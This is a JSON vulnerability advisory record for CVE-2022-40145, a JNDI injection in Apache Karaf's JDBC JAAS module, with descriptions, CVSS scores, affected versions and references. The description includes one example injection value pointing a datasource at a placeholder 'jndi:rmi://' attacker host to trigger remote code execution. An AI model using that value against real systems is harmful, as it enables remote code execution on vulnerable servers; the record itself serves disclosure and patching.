{"id":"CVE-2022-40145","aliases":["CVE-2022-40145","GHSA-c2p4-8mvv-rwmv"],"related":[],"kind":"vulnerability","state":"published","title":"Apache Karaf: JDBC JAAS LDAP injection","summary":"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8","summarySource":"cvelist","descriptions":[{"lang":"en","text":"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8","source":"cvelist"},{"lang":"en","text":"This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` uses `InitialContext.lookup(jndiName)` without filtering. A user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in `JdbcLoginModuleTest#setup`. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Esta vulnerabilidad se trata de una posible inyección de código cuando un atacante tiene el control del servidor LDAP de destino utilizando la URL JDBC JNDI. La función jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource utiliza InitialContext.lookup(jndiName) sin filtrar. Un usuario puede modificar `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` a `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://xxxx:xxxx/Command \");` en JdbcLoginModuleTest#setup. Esto es vulnerable a un ataque de ejecución remota de código (RCE) cuando una configuración utiliza un URI de origen de datos LDAP JNDI cuando un atacante tiene control del servidor LDAP de destino. Este problema afecta a todas las versiones de Apache Karaf hasta 4.4.1 y 4.3.7. Animamos a los usuarios a actualizar a Apache Karaf al menos 4.4.2 o 4.3.8.","source":"nvd"}],"published":"2022-12-21T15:23:42.847Z","modified":"2026-06-17T05:01:01.763Z","severity":{"scorer":"CISA-ADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"CISA-ADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-20","CWE-74"],"affected":[{"ranges":[{"type":"maven","introduced":"4.4.0","fixed":"4.4.2","status":"affected"},{"type":"maven","introduced":"0","fixed":"4.3.8","status":"affected"}],"vendor":"Apache Software Foundation","product":"Apache Karaf","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.3.8"}],"ecosystem":"Maven","package":"org.apache.karaf:apache-karaf","purl":"pkg:maven/org.apache.karaf/apache-karaf","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"4.4.0","status":"affected","fixed":"4.4.2"}],"ecosystem":"Maven","package":"org.apache.karaf:apache-karaf","purl":"pkg:maven/org.apache.karaf/apache-karaf","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.3.8"},{"status":"affected","introduced":"4.4.0","fixed":"4.4.2"}],"vendor":"apache","product":"karaf","cpe":"cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://karaf.apache.org/security/cve-2022-40145.txt","tags":["vendor-advisory","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-40145","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/apache/karaf/pull/1632","tags":["web"],"sources":["ghsa"]},{"url":"https://gitbox.apache.org/repos/asf?p=karaf.git;h=2a933445d1","tags":["web"],"sources":["ghsa"]},{"url":"https://gitbox.apache.org/repos/asf?p=karaf.git;h=3819f48341","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/apache/karaf","tags":["package"],"sources":["ghsa"]},{"url":"https://issues.apache.org/jira/browse/KARAF-7568","tags":["web"],"sources":["ghsa"]}],"credits":["Xun Bai <bbbbear68@gmail.com>"],"assigner":"apache","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"total","date":"2025-04-15T18:02:30.458Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2022-40145","url":"https://www.cve.org/CVERecord?id=CVE-2022-40145","licence":"CVE Terms of Use","modified":"2025-04-15T18:03:47.618Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-c2p4-8mvv-rwmv","url":"https://github.com/advisories/GHSA-c2p4-8mvv-rwmv","licence":"CC-BY-4.0","modified":"2025-04-15T18:55:39.395Z"},{"source":"nvd","name":"NVD","id":"CVE-2022-40145","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-40145","licence":"Public domain","modified":"2026-06-17T05:01:01.763Z"}],"updatedAt":"2026-11-25T22:58:17.736Z","epss":{"score":0.02647,"percentile":0.86057,"date":"2026-12-02T12:00:21.000Z"}}